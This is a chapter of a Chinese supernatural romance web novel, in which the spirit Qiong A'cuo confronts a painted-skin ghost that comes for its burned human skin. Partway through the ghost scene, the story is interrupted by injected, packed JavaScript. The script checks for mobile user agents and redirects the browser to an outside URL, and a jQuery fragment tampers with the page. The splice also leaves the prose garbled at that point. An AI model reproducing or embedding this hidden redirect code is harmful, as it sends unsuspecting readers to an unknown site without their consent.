很美的一张人皮。肤若凝脂,唇若丹朱,乌发如瀑,钗环摇动,身上穿了件薄薄红裳,像是……喜服。
琼阿措将人皮摊开放到了地上,站起身拜了三拜。据她现有的经验来看,活人不会有随意脱人皮的习惯。
那就只能是妖,或者是鬼了。
琼阿措不太想多管闲事,日落西山,暮色沉沉。她该回去了。
宅院内。一盏孤灯悬在房檐上,投下浅淡光亮。
卫昭坐在桌案后,面色凝重,指尖颤抖着拆开了信。阿湛站在他身后,伸长脖子踮起脚,睁一只眼闭一只眼,想看又不敢看。
琼阿措心事重重地走了进来,抬头便瞧见这两人心虚的样子,莫名来了兴致。
她小心翼翼地凑到卫昭身侧,学着阿湛的样子伸长脖子去看。只见灯光下,那页信纸上浓墨重彩地画了些古怪符号。
卫昭将信纸翻来覆去地抖了一遍,又颠倒着看了一遍,愈看面色愈凝重,周身气压都下降了不少。
琼阿措怀疑他要炸了。
她看着信纸上的歪七扭八的符号,沉思片刻,遗憾地发现自己识字实在有限。
阿湛不知是看清了还是没看清,揉了揉腮帮,“唔”了一声,沉默不语。
一时间,房屋内难得的寂静。
香已燃尽,铜炉中残存着浓郁香气。
琼阿措俯着身子,试探着开口:“那个,卫公子,这个信,怎么了?”
卫昭不紧不慢地借着烛火将信纸点燃,看着它化作灰烬,微微偏过头,低声答道:“我娘要回来了。”
阿湛双手抱臂,神色痛苦,嘴角抽搐。
琼阿措迷茫地看向卫昭。
“我娘她,”卫昭斟酌了一下用词,语气温和,“和旁的女子不太一样。你,不要轻易相信她的话,也万万不要半夜去找她喝酒谈心,……绝对不行。明白吗?”
……怎么说的她仿佛是毒蛇猛兽。
琼阿措心中好奇,愈发想见见这位夫人,唇边却攒出一个柔和的笑,乖巧答好。
次日黄昏。那张美人皮出现在了院门口。阿湛围着人皮左转三圈,右转三圈,最后一拍脑门,将琼阿措和卫昭都强行从屋里拽了出来。
卫昭看到美人皮,微微蹙眉,面上并无多少诧异。
琼阿措唇边浮现一抹浅淡笑意,居然还有心思开玩笑:“怎么?你有兴趣要做女子了?想做就去做就是了,相信你家公子通情达理善解人意,绝对不会阻拦的。”
阿湛脸涨得通红,“呸”了一声,不去理她,指着人皮向卫昭道:“公子,这人皮总不会平白无故地出现在这里,附近有妖物作祟。
……附近这么多户人家,谁知道为什么偏偏找上这里了,莫不是妖物也会同类相吸?”
言毕,他微微拧眉,意有所指地瞪了一眼琼阿措。
琼阿措蹲下身子去查看那张美人皮,手上浅青灵焰灼烧,触及美人皮时,丝丝缕缕的黑烟从美人面容上冒出。
愈来愈快,愈来愈多,最终一张美人面连带着发丝都成了焦炭,钗环落了一地。
琼阿措“唔”了一声,拍了拍手,站了起来。卫昭递过去一方素帕,神色平淡,轻声问道:“怎么了?”
“不是妖物。是画皮,恶鬼。年岁不大,估计也就一百来年吧。”琼阿措接过素帕擦了擦手,认真总结,“今夜你们先去旁人家借宿一晚。我来解决。”
卫昭若有所思地垂眸看她,点了点头。阿湛瞪大眼睛,急切道:“……不行,公子,你还真信她啊?”
琼阿措扯过他的衣袖,笑得不怀好意:“不信啊,那好办,今夜你也留下。”
阿湛冷哼一声,别扭地将衣袖一点点从她手中扯出来,朝天翻了个白眼,利落地回屋收拾东西。
卫昭轻声笑了起来。琼阿措有些惊讶地抬头看向他。那双沉若寒潭的眼眸里盈满了笑意,薄唇微抿,睫羽如烟。
许是黄昏的夕阳太过炽热,将他身上格格不入的孤寂都融成了暖意。
琼阿措忽然很想和他再说些什么。她素来是随心所欲,想做什么就做什么的性子,面对卫昭时却总是莫名有些踌躇,担忧自己唐突了对方。
她纠结片刻,犹豫片刻,又沉思片刻,终于开口问道:“卫公子,你有没有想要做却没能做到的事?或者,未能完成的心愿?我是来报恩的嘛,你说出来,说不定我可以帮你完成呢?”
卫昭的笑僵在了唇角,周身空气凝滞了一瞬,眼眸渐渐黯淡下去。他面无表情地开口,声音有些压抑:“没有。”
琼阿措“啊”了一声,心中有些失望。报恩果然没这么简单。不过,没关系,人不可能一辈子都无欲无求,她有的是时间,等得起。
入夜。夜色如墨,淡月疏星。风起时,周遭树木枝影摇曳,仿若鬼影幢幢。
琼阿措拎着一盏手提灯坐在屋顶,轻轻一动,环佩叮咚,衣袂飘摇。她托腮盯着院落,盯了许久,有些困倦。
不知过了多久,锣鼓喧天,一阵唢呐声响传至耳边。琼阿措循声望去,只见沉寂昏暗山路间竟现出点点浅蓝色火光。
她闭上眼,并指擦过睫羽,再睁眼时,琥珀瞳色转为幽绿。丝丝缕缕的黑气从她怀中那张美人皮溢出,化作千万条丝线蔓延至偏僻山路,为那些鬼怪指引方向。
鬼怪行路自是与常人不同。转眼间,院落外浅蓝火光忽明忽暗,阴风阵阵,凭空卷起数片未烧尽的纸钱。铜锣唢呐震天响,琼阿措拎着手提灯,身子向前倾,微微眯眼去看。
只见一顶喜轿被抬得摇摇晃晃,抬桥的鬼面容木讷,衣衫破旧,脚步迟缓。
喜桥前,敲锣打鼓的黄鼬,提着灯洒纸钱的狐狸,抬头迎着月色,上蹿下跳,兴奋不已。
只是普通的山野精怪,不足为惧。
抬桥的鬼将喜轿停在了院门外,恭敬地退到了一边。狐狸黄鼬吵闹个没完。轿中人掀起轿帘,轻轻呵斥了一声“去”。
刹时阴风再起,寒意森森。风止处,除了喜轿仍在原地,其余鬼怪俱是没了踪影。
琼阿措微一挑眉,跳下屋檐,向院门走了过去。
“咚咚咚”,门被敲响了三声。一道哀怨悲戚的女子声音传了过来。
“呜呜呜,你看到我的皮了吗?”
琼阿措咬了咬唇,一言不发。
“咚咚咚”,又是三声,原本哀怨的声音骤然凄厉起来。
“把我的脸还回来!”
琼阿措摸了摸怀中揣着的美人皮,压低声音向她说道:“还回去也可以,不过,你答应我千万别生气。”
画皮鬼迟疑片刻,没料到有人敢答话,随着风声呜咽道:“……还回来。”
琼阿措将门打开一条缝隙,将美人皮塞了过去。
画皮鬼小心翼翼地将美人皮展开,四肢身躯俱在,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626583|172394||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唯独面容……被灵焰灼成了焦炭。这美人皮是她素日里最珍爱的一幅,原想着放至此处恐吓那凡人一番,怎料却是偷鸡不成蚀把米。
画皮鬼登时大怒,骷髅原身化作轻烟钻入院落,五指并爪向琼阿措抓了过去。
琼阿措侧身躲过,灯火明亮,照着骷髅黑洞洞的眼眶,隐隐泛着青光的白骨,有些慎人。
琼阿措招架了几招,拽过她的腕骨,小声又急切道:“别生气别生气,你先听我把话说完嘛。是我不小心毁了你的美人皮,实在抱歉。
但是我也能帮你修补好啊。美人面千变万化,你何必执着于一张脸呢?”
画皮鬼狐疑地看着她,居然真的停了下来:“……你能补好?”
琼阿措松了一口气,松开手,信誓旦旦地向她保证:“能,能补好。”
房屋内重又燃起了灯火。
琼阿措将美人皮摊开到桌面上,手上现出一把利刃,对着手腕处轻轻一划,殷红血珠滴落到美人皮焦黑的面容上,渗入肌理,迅速冒起一阵轻烟。
她口中念念有词,无数细小的枝干脉络代替了柔软肌理,缝补出一张五官空白的脸。
画皮鬼站在一旁古怪地看着她,狐疑地开口:“你……是妖?”
琼阿措将美人皮拿起来抖了抖,目光盈盈,含笑递了过去:“好了。试试看。”
画皮鬼犹疑地接过人皮,轻巧地披到了身上。“现在,想一下你想变成的样子,面容越清楚越好,细节越多越好。一定要清楚,明白吗?”
画皮鬼闭上眼睛,面容扭曲成形,在灯光下泛起了柔和光亮,原本空白的五官重新化成了姣好的面容。
琼阿措递过去一面铜镜,有些得意地说道:“怎么样?没骗你吧?从今以后呢你想变什么模样就变什么模样,不会再受人皮束缚了。”
画皮鬼怔怔地看着铜镜中自己的面容,又不可思议地摸了摸,蓦地抬头看向了琼阿措:“你怎么会这些的?你……不会就只是想帮我这么简单吧?”
琼阿措揉了揉额头,轻笑道:“哎呀,姑娘你高兴就好,没别的事就走吧。我好困,想睡觉了。”
画皮鬼从未见过缺心眼缺到这种程度的妖物,自己都打上门了,她还开心用妖力帮忙缝补人皮。缝完了还礼貌送客。
画皮怀疑自己在做梦。
她心中困惑,拧着眉,吞吞吐吐地又问了一遍:“你……你当真没有什么需要我做的?你,不想知道我为什么来这么?”
琼阿措:“哦,对哦。我忘了。”
她想了想,压低声音问道:“所以你来这是做什么?”
这才对嘛……
画皮鬼终于找回了几分气势,磨了磨牙,道:“借气运。”她瞟了琼阿措一眼,又冷笑着补充道,“顺带吃个人。”
啧,好嚣张的鬼怪。
琼阿措从桌上拎起茶壶倒了杯茶递了过去。
“可惜了。有我在,你吃不了人。”
阴风乍起,画皮瞳孔骤然翻白,尖牙凸出唇外,手臂再度化为白骨,指尖锋锐似利刃,速度极快地向琼阿措的咽喉刺了过去!
锋锐指爪堪堪停在了距琼阿措脖颈半寸的地方,画皮鬼惊骇地瞪大了眼,然而身体已然僵直,一动不动。
一根根细若发丝的藤蔓不知何时已从她面容上沿着皮肤肌理遍布至身体各处,附骨之疽般将她全然变成了受人摆布的傀儡。